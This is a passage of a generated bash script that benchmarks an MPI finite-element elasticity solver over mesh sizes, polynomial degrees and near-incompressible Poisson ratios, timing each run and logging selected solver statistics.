log_files/\"408_linE_nu_0.49999_deg_2_h_96_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"408_linE_nu_0.49999_deg_2_h_96_cpu_64_run_1.log\" \n\necho \"running nu: 0.49999 p: 2 h: 96 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 96,96,96 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"409_linE_nu_0.49999_deg_2_h_96_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"409_linE_nu_0.49999_deg_2_h_96_cpu_64_run_2.log\" \n\necho \"running nu: 0.49999 p: 2 h: 96 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 96,96,96 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"410_linE_nu_0.49999_deg_2_h_96_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"410_linE_nu_0.49999_deg_2_h_96_cpu_64_run_3.log\" \n\necho \"running nu: 0.49999 p: 2 h: 97 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 97,97,97 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"411_linE_nu_0.49999_deg_2_h_97_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"411_linE_nu_0.49999_deg_2_h_97_cpu_64_run_1.log\" \n\necho \"running nu: 0.49999 p: 2 h: 97 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 97,97,97 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"412_linE_nu_0.49999_deg_2_h_97_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"412_linE_nu_0.49999_deg_2_h_97_cpu_64_run_2.log\" \n\necho \"running nu: 0.49999 p: 2 h: 97 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 97,97,97 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"413_linE_nu_0.49999_deg_2_h_97_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"413_linE_nu_0.49999_deg_2_h_97_cpu_64_run_3.log\" \n\necho \"running nu: 0.49999 p: 3 h: 8 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"414_linE_nu_0.49999_deg_3_h_8_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"414_linE_nu_0.49999_deg_3_h_8_cpu_64_run_1.log\" \n\necho \"running nu: 0.49999 p: 3 h: 8 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"415_linE_nu_0.49999_deg_3_h_8_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"415_linE_nu_0.49999_deg_3_h_8_cpu_64_run_2.log\" \n\necho \"running nu: 0.49999 p: 3 h: 8 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"416_linE_nu_0.49999_deg_3_h_8_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"416_linE_nu_0.49999_deg_3_h_8_cpu_64_run_3.log\" \n\necho \"running nu: 0.49999 p: 3 h: 16 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"417_linE_nu_0.49999_deg_3_h_16_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"417_linE_nu_0.49999_deg_3_h_16_cpu_64_run_1.log\" \n\necho \"running nu: 0.49999 p: 3 h: 16 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"418_linE_nu_0.49999_deg_3_h_16_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"418_linE_nu_0.49999_deg_3_h_16_cpu_64_run_2.log\" \n\necho \"running nu: 0.49999 p: 3 h: 16 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"419_linE_nu_0.49999_deg_3_h_16_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"419_linE_nu_0.49999_deg_3_h_16_cpu_64_run_3.log\" \n\necho \"running nu: 0.49999 p: 3 h: 17 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"420_linE_nu_0.49999_deg_3_h_17_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"420_linE_nu_0.49999_deg_3_h_17_cpu_64_run_1.log\" \n\necho \"running nu: 0.49999 p: 3 h: 17 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"421_linE_nu_0.49999_deg_3_h_17_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"421_linE_nu_0.49999_deg_3_h_17_cpu_64_run_2.log\" \n\necho \"running nu: 0.49999 p: 3 h: 17 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"422_linE_nu_0.49999_deg_3_h_17_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"422_linE_nu_0.49999_deg_3_h_17_cpu_64_run_3.log\" \n\necho \"running nu: 0.49999 p: 4 h: 4 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"423_linE_nu_0.49999_deg_4_h_4_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"423_linE_nu_0.49999_deg_4_h_4_cpu_64_run_1.log\" \n\necho \"running nu: 0.49999 p: 4 h: 4 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"424_linE_nu_0.49999_deg_4_h_4_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"424_linE_nu_0.49999_deg_4_h_4_cpu_64_run_2.log\" \n\necho \"running nu: 0.49999 p: 4 h: 4 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"425_linE_nu_0.49999_deg_4_h_4_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"425_linE_nu_0.49999_deg_4_h_4_cpu_64_run_3.log\" \n\necho \"running nu: 0.49999 p: 4 h: 5 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"426_linE_nu_0.49999_deg_4_h_5_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"426_linE_nu_0.49999_deg_4_h_5_cpu_64_run_1.log\" \n\necho \"running nu: 0.49999 p: 4 h: 5 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"427_linE_nu_0.49999_deg_4_h_5_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"427_linE_nu_0.49999_deg_4_h_5_cpu_64_run_2.log\" \n\necho \"running nu: 0.49999 p: 4 h: 5 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"428_linE_nu_0.49999_deg_4_h_5_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"428_linE_nu_0.49999_deg_4_h_5_cpu_64_run_3.log\" \n\necho \"running nu: 0.49999 p: 4 h: 6 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"429_linE_nu_0.49999_deg_4_h_6_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"429_linE_nu_0.49999_deg_4_h_6_cpu_64_run_1.log\" \n\necho \"running nu: 0.49999 p: 4 h: 6 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"430_linE_nu_0.49999_deg_4_h_6_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"430_linE_nu_0.49999_deg_4_h_6_cpu_64_run_2.log\" \n\necho \"running nu: 0.49999 p: 4 h: 6 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"431_linE_nu_0.49999_deg_4_h_6_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"431_linE_nu_0.49999_deg_4_h_6_cpu_64_run_3.log\" \n\necho \"running nu: 0.499999 p: 2 h: 13 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"432_linE_nu_0.499999_deg_2_h_13_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"432_linE_nu_0.499999_deg_2_h_13_cpu_64_run_1.log\" \n\necho \"running nu: 0.499999 p: 2 h: 13 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"433_linE_nu_0.499999_deg_2_h_13_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"433_linE_nu_0.499999_deg_2_h_13_cpu_64_run_2.log\" \n\necho \"running nu: 0.499999 p: 2 h: 13 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"434_linE_nu_0.499999_deg_2_h_13_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"434_linE_nu_0.499999_deg_2_h_13_cpu_64_run_3.log\" \n\necho \"running nu: 0.499999 p: 2 h: 38 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"435_linE_nu_0.499999_deg_2_h_38_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"435_linE_nu_0.499999_deg_2_h_38_cpu_64_run_1.log\" \n\necho \"running nu: 0.499999 p: 2 h: 38 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"436_linE_nu_0.499999_deg_2_h_38_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"436_linE_nu_0.499999_deg_2_h_38_cpu_64_run_2.log\" \n\necho \"running nu: 0.499999 p: 2 h: 38 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"437_linE_nu_0.499999_deg_2_h_38_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"437_linE_nu_0.499999_deg_2_h_38_cpu_64_run_3.log\" \n\necho \"running nu: 0.499999 p: 2 h: 39 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 39,39,39 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"438_linE_nu_0.499999_deg_2_h_39_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"438_linE_nu_0.499999_deg_2_h_39_cpu_64_run_1.log\" \n\necho \"running nu: 0.499999 p: 2 h: 39 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 39,39,39 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"439_linE_nu_0.499999_deg_2_h_39_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"439_linE_nu_0.499999_deg_2_h_39_cpu_64_run_2.log\" \n\necho \"running nu: 0.499999 p: 2 h: 39 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 39,39,39 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"440_linE_nu_0.499999_deg_2_h_39_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"440_linE_nu_0.499999_deg_2_h_39_cpu_64_run_3.log\" \n\necho \"running nu: 0.499999 p: 2 h: 110 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 110,110,110 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"441_linE_nu_0.499999_deg_2_h_110_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"441_linE_nu_0.499999_deg_2_h_110_cpu_64_run_1.log\" \n\necho \"running nu: 0.499999 p: 2 h: 110 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 110,110,110 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"442_linE_nu_0.499999_deg_2_h_110_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"442_linE_nu_0.499999_deg_2_h_110_cpu_64_run_2.log\" \n\necho \"running nu: 0.499999 p: 2 h: 110 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 110,110,110 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"443_linE_nu_0.499999_deg_2_h_110_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"443_linE_nu_0.499999_deg_2_h_110_cpu_64_run_3.log\" \n\necho \"running nu: 0.499999 p: 3 h: 7 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"444_linE_nu_0.499999_deg_3_h_7_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"444_linE_nu_0.499999_deg_3_h_7_cpu_64_run_1.log\" \n\necho \"running nu: 0.499999 p: 3 h: 7 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"445_linE_nu_0.499999_deg_3_h_7_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"445_linE_nu_0.499999_deg_3_h_7_cpu_64_run_2.log\" \n\necho \"running nu: 0.499999 p: 3 h: 7 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"446_linE_nu_0.499999_deg_3_h_7_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"446_linE_nu_0.499999_deg_3_h_7_cpu_64_run_3.log\" \n\necho \"running nu: 0.499999 p: 3 h: 8 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"447_linE_nu_0.499999_deg_3_h_8_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"447_linE_nu_0.499999_deg_3_h_8_cpu_64_run_1.log\" \n\necho \"running nu: 0.499999 p: 3 h: 8 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"448_linE_nu_0.499999_deg_3_h_8_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"448_linE_nu_0.499999_deg_3_h_8_cpu_64_run_2.log\" \n\necho \"running nu: 0.499999 p: 3 h: 8 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"449_linE_nu_0.499999_deg_3_h_8_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"449_linE_nu_0.499999_deg_3_h_8_cpu_64_run_3.log\" \n\necho \"running nu: 0.499999 p: 3 h: 16 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"450_linE_nu_0.499999_deg_3_h_16_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"450_linE_nu_0.499999_deg_3_h_16_cpu_64_run_1.log\" \n\necho \"running nu: 0.499999 p: 3 h: 16 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"451_linE_nu_0.499999_deg_3_h_16_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"451_linE_nu_0.499999_deg_3_h_16_cpu_64_run_2.log\" \n\necho \"running nu: 0.499999 p: 3 h: 16 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun 